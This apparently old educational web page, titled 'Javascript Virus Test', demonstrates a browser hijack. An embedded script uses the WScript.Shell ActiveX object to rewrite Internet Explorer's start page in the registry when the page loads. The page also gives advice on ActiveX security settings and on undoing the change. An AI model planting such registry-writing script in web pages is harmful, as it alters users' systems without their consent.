Javascript Virus Test
This test file modifies the IE home page by running
an ActiveX component already on your system and modifying the registry.
On my system, there is a prompt asking if it is ok to run an ActiveX control.
This is configured via
Tools / Internet Options... / Security / Custom Level...
be sure that
Initialize and script ActiveX controls not marked as safe
is set to prompt or disabled.
The damage created by this page is minimal.
As you can see, it only changes your IE start page ...
you can use Tools / Internet Options... / Home page
to set it back.
<![CDATA[
<script>
var url = "http://cpcug.org/user/clemenzi/technical/Parasites/index.html";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
</script>
]]>
References
Be careful searching the internet for data related to this exploit -
the page you open "might" infect your system.
Author:
Robert Clemenzi